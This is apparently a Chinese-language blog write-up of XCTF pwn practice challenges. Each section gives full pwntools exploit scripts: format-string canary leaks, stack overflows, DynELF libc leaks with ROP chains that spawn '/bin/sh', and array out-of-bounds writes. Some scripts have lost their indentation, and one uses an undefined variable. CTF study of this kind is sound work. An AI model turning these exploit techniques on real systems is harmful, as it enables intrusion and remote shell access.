XCTF-Pwn-进阶区刷题记录 1

Pwn 的话,继续刷会儿 XCTF 叭,先刷完前 18 道再去 BUU

清单:

  • Mary_Morton
  • pwn-200
  • pwn-100
  • stack2
  • forgot
  • warmup

Mary_Morton

栈溢出覆盖函数返回地址 格式化字符串漏洞

拿道题目,丢入 pwn 机 checksec 一下:

开启了 NX 和 Canary 保护,丢入 IDA 分析一下内部逻辑:(64)

代码部分:

main:

sub_4009FF:

sub_4009DA:

sub_4008EB:

sub_400960:

解题部分:

首先检查一下后门函数吧,我们 shift + F12 一波,发现了 /bin/cat ./flag 的存在(我还是喜欢 /bin/sh)

我们点进去瞅瞅:

看样子是存在后门函数无疑,且其地址为 0x004008DA,我们双击分号后面的内容可以查看原函数:

其 C 语言形式为:

在 IDA 侧边函数的列表中也可以发现它:

逻辑还是很清楚的,先是一个初始化,加了个简单的反调试,然后打印一堆屁话,不过屁话也给出了提示,就像 sub_4009DA 函数是直接给出了本题的两个考点,当时直接略过没看,自己分析的

然后是一个死循环让我们进行不断地选择,如果选择 2 的话,当事函数会提供使用不当 printf 函数,可以给我们格式化字符串,选择 1 的话,提供给我们 read 函数以用来栈溢出,但是开启了 Canary 之后我们无法对其直接进行溢出操作,这倒挺让人为难的(Canary保护详解和常用Bypass手段

不过注意到一开始是将 __readsqword(0x28) 赋予了 v2,所以 v2 就是 canary 的值,我们只要想办法搞到 canary 就可以利用其进行栈溢出覆盖函数返回地址从而 cat flag 了

我们可以利用格式化字符串漏洞先计算一下偏移量,编写简单 payload 打打本地:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
conn = process('./Mary_Morton')
# conn = remote("111.198.29.45", 58010)

v3 = '2'
payload = 'a' * 4 + '.%x' * 20

conn.sendlineafter('battle ', v3)
conn.sendline(payload)

conn.interactive()

可以得到偏移量为 6

我们可以依此来计算一波,v2,也就是 canary 离 rbp 的距离为 0x08,我们传入的 buf 离 rbp 的距离为 0x90,所以参数偏移为 6 + (0x90 - 0x08) / 0x08 ,也就是 23

那么我们可以据此来利用栈溢出辽,编写 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

get_flag_addr = 0x004008DA

# context(log_level = 'debug', arch = 'amd64', os = 'linux')
# conn = process('./Mary_Morton')
conn = remote("111.198.29.45", 58010)

# 1st
v3 = '2'
payload_1 = '%23$p'

conn.sendlineafter('battle ', v3)
conn.sendline(payload_1)
conn.recvuntil('0x')

# canary
canary = int(conn.recv(16), 16)

# 2nd
v3 = '1'
payload_2 = 'a' * (0x90 - 0x08) + p64(canary) + 'a' * 0x08 + p64(get_flag_addr)

conn.sendlineafter('battle ', v3)
conn.sendline(payload_2)

conn.interactive()

成功cat flag

pwn-200

栈溢出利用DynELF进行leak gadget获取

拿到题目,丢进 pwn 机 checksec 一下:

只开了 NX 保护,将其丢入 IDA 检查下内部逻辑:(32位)

并没啥好看的,注意了一下 write,看看 sub_8048484:

看到了 read 函数,看来栈溢出没得跑了,这里 buf 的缓冲区长度只有 0x6C:

但是我们并没有找到后门函数,也没有像之前新手区的 level3 一样给了我们 libc,看样子我们只能使用 DynELF 辽(Memory Leak & DynELF

我们需要构造好 leak 函数,其基本思路:

1
2
3
4
5
6
leak_payload = 'a' * ( 偏移量 )  # 偏移量,先覆盖缓冲区
leak_payload += write_addr # write 函数地址
leak_payload += vulner_function_addr # 返回地址,即漏洞存在的函数的地址,以便反复利用
leak_payload += 1 # write 函数的第一个参数
leak_payload += address # write 函数的第二个参数,也是 leak 函数传入的参数,给 DynELF 使用
leak_payload += 0x04 # write 函数的第三个参数,打印 8 位地址

构造好这个 leak 函数之后,我们可以通过 DynELF 函数得到的实例对象得到 system 函数,同时,为了避免循环制造溢出导致栈结构发生令人疑惑的错误,我们需要调用 _start 来重启程序,以回复栈结构

可以知道 start 的地址为 0x080483D0,漏洞函数地址为 0x08048484

最后我们在获得了 system 之后需要利用 read 来将 /bin/sh 写入 bss 段,我们找一下 bss 的位置:(bss是啥,可以看看这个:https://www.cnblogs.com/yanghong-hnu/p/4705755.html)

知道了 bss 的地址:0x0804A020,又因为这里我们调用了两个函数,需要调整栈平衡,read 中有三个参数,所以我们需要进行三次 pop,这里我们使用 ROPgadget 来查找:ROPgadget --binary pwn-200

可以知道我们需要的 gadget 就在 0x0804856c,到了这里,我们也就可以编写 exp 辽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import binascii

# context.log_level = 'debug'
# conn = process('./pwn-200')
conn = remote("111.198.29.45", 43227)

# function_addr
# vulner
sub8048484_addr = 0x08048484
# start
start_addr = 0x080483D0

# read in /bin/sh
bss_addr = 0x0804A020

elf=ELF("./pwn-200")
write_plt = elf.symbols["write"]
write_got = elf.got['write']
read_plt = elf.symbols["read"]
read_got = elf.got['read']


def leak(address):
# 1st
payload_1 = 'a' * 0x6C + 'a' * 0x04 + p32(write_plt) + p32(sub8048484_addr) + p32(1) + p32(address) + p32(0x04)

conn.sendline(payload_1)
leak_sys_addr = conn.recv(0x04)
print "%#X => %s" % (address, (leak_sys_addr or '').encode('hex'))
return leak_sys_addr


print conn.recvline()
dynelf = DynELF(leak, elf=ELF("./pwn-200"))
sys_addr = dynelf.lookup("system", "libc")
print "sys_addr is ", hex(sys_addr)

# pop_pop_pop_ret
pop_pop_pop_ret_addr = 0x0804856c

# 2nd
payload_2 = 'a' * 0x6C + 'a' * 0x04 + p32(start_addr)
conn.sendline(payload_2)
print conn.recv()

# 3rd
payload_3 = 'a' * 0x6C + 'a' * 0x04 + p32(read_plt) + p32(pop_pop_pop_ret_addr) + p32(1) + p32(bss_addr) + p32(0x08) + p32(sys_addr) + p32(0) + p32(bss_addr)

conn.sendline(payload_3)
conn.sendline("/bin/sh")

conn.interactive()

最后喜提 shell:

最后再来一句七里八里的,这种感觉真爽好吧:

i 了 i 了,继续努力,哈哈哈哈 😄

pwn-100

栈溢出 gadget获取 leak DynELF

人懒,详细过程就不写了,比赛的写,这种着实不想写了

参阅:

Linux x64 下的万能 Gadget

借助DynELF实现无libc的漏洞利用小结

攻防世界pwn-100与使用dynELF利用libc

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

# context(log_level = 'debug', arch = 'amd64', os = 'linux')
# conn = process('./pwn-100')
conn = remote("111.198.29.45", '38837')

# function_addr
# start
start_addr = 0x00400550

# pop_rdi_ret_addr
pop_ret_addr = 0x00400763

# all_gadget
loc_400740_addr = 0x00400740
loc_400756_addr = 0x0040075A

# read in /bin/sh
bss_addr = 0x00601060

# ELF
elf = ELF('./pwn-100')
puts_plt = elf.plt['puts']
read_got = elf.got['read']


def leak(address):
# 1st
payload_1 = 'a' * 0x40 + 'a' * 0x08
payload_1 += p64(pop_ret_addr) + p64(address)
payload_1 += p64(puts_plt)
payload_1 += p64(start_addr)
payload_1 += 'a' * (200 - len(payload_1))

conn.send(payload_1)
conn.recvuntil("bye~\n")

leak_sys_addr = ''
rv = ''

while True:
c = conn.recv(numb = 1, timeout = 0.1)
if rv == '\n' and c == '':
leak_sys_addr = leak_sys_addr[:-1] + '\x00'
break
else:
leak_sys_addr += c
rv = c

leak_sys_addr = leak_sys_addr[:4]
print "%#X => %s" % (address, (leak_sys_addr or '').encode('hex'))
return leak_sys_addr


dynelf = DynELF(leak, elf=ELF('./pwn-100'))
sys_addr = dynelf.lookup('system', 'libc')
print "sys_addr is ", hex(sys_addr)

# 2nd
payload_2 = 'a' * 0x40 + 'a' * 0x08
payload_2 += p64(loc_400756_addr)
payload_2 += p64(0) # pop rbx
payload_2 += p64(1) # pop rbp
payload_2 += p64(read_got) # pop r12 - call
payload_2 += p64(0x08) # pop r13 - rdx - parameter_3
payload_2 += p64(bss_addr) # pop r14 - rsi - parameter_2
payload_2 += p64(0) # pop r15 - edi - parameter_1
payload_2 += p64(loc_400740_addr)
payload_2 += p64(0x00) * 0x07
payload_2 += p64(start_addr)
payload_2 += 'a' * (200 - len(payload_2))

conn.send(payload_2)
conn.recvuntil("bye~\n")
conn.send('/bin/sh\x00')

# 3rd
payload_3 = 'a' * 0x40 + 'a' * 0x08
payload_3 += p64(pop_ret_addr)
payload_3 += p64(bss_addr) # /bin/sh
payload_3 += p64(sys_addr)
payload_3 += 'a' * (200 - len(payload_3))

conn.send(payload_3)
conn.interactive()

stack2

栈溢出 远程调试 Canary绕过 数组越界

参阅:

第三届XMan夏令营选拔赛暨QCTF 2018官方writeup!

ida动态调试elf(无坑详细)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

local = False

# Local or Remote
if local is True:
context.log_level = 'debug'
conn = process('./stack2')
else:
conn = remote("159.138.137.79",61498)


# function_addr
# system_addr
sys_addr = 0x08048450

# sh_addr
sh_addr = 0x08048980 + 0x07

# esp - v13 (Dynamic debugging: 0xFFE1873C - 0xFFE186B8 )
leave_offest = 0x84


# write a byte in
def write_byte(addr, val):
conn.sendline("3")
conn.sendlineafter("to change:\n", str(addr))
conn.sendlineafter("new number:\n", str(val))
conn.recvuntil("5. exit")


# write a dword in (as 4 bytes)
def write_dword(addr, val):
write_byte(addr, val & 0xFF)
write_byte(addr + 1, (val >> 8) & 0xFF)
write_byte(addr + 2, (val >> 16) & 0xFF)
write_byte(addr + 3, (val >> 24) & 0xFF)


# start
conn.sendlineafter("you have:\n", "1")
conn.sendlineafter("your numbers\n", "1")
conn.recvuntil("5. exit")

write_dword(leave_offest, sys_addr)
write_dword(leave_offest + 0x08, sh_addr)

conn.sendline("5");
conn.interactive()

forgot

栈溢出 栈内变量覆盖

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

local = False

# Local or Remote
if local is True:
context.log_level = 'debug'
conn = process('./forgot')
else:
conn = remote("159.138.137.79",51136)

payload = 'A' * 32 + p32(0x080486CC)

conn.sendlineafter("> ", 'I love YJ')
conn.sendlineafter("> ", payload)

conn.interactive()

warmup

栈溢出盲打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *


def Blind_fight(ip, port, padd_start, padd_end, addr):
for i in range(padd_start, padd_end):
# 32-bit
try:
conn = remote(ip, port)
conn.recvuntil('>')
# payload
payload = 'a' * i + p32(addr)
print("len for 32-bit payload => ", i)
conn.sendline(payload)

content = conn.recv()
if "Warm Up" in content:
continue

print("recv::length = " + str(len(r)) + ", content = " + content)
conn.close()
break

except Exception as e:
conn.close()


# 64-bit
try:
conn = remote(ip, port)
conn.recvuntil('>')
# payload
payload = 'a' * i + p64(addr)
print("len for 64-bit payload => ", i)
conn.sendline(payload)

content = conn.recv()
if "Warm Up" in content:
continue

print("recv::length = " + str(len(content)) + ", content = " + content)
conn.close()
break

except Exception as e:
conn.close()

Blind_fight("159.138.137.79", 49572, 0, 200, 0x40060d)

dice_game

栈溢出覆盖随机种子

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from ctypes import *

local = True

# Local or Remote
if local is True:
context(log_level = 'debug', arch = 'amd64', os = 'linux')
conn = process('./dice_game')
else:
conn = remote("159.138.137.79", 55704)

# libc - rand
libc = cdll.LoadLibrary("./libc.so.6")
libc.srand(0)
# rand - list
a = []
for i in range(50):
a.append(libc.rand() % 6 + 1)
print(a)

# payload
payload = 'a' * 0x40 + p64(0)

conn.sendlineafter("your name: ", payload)
for i in a:
conn.sendlineafter("point(1~6): ", str(i))

conn.interactive()

From:堆堆
记得注明出处嗷


评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×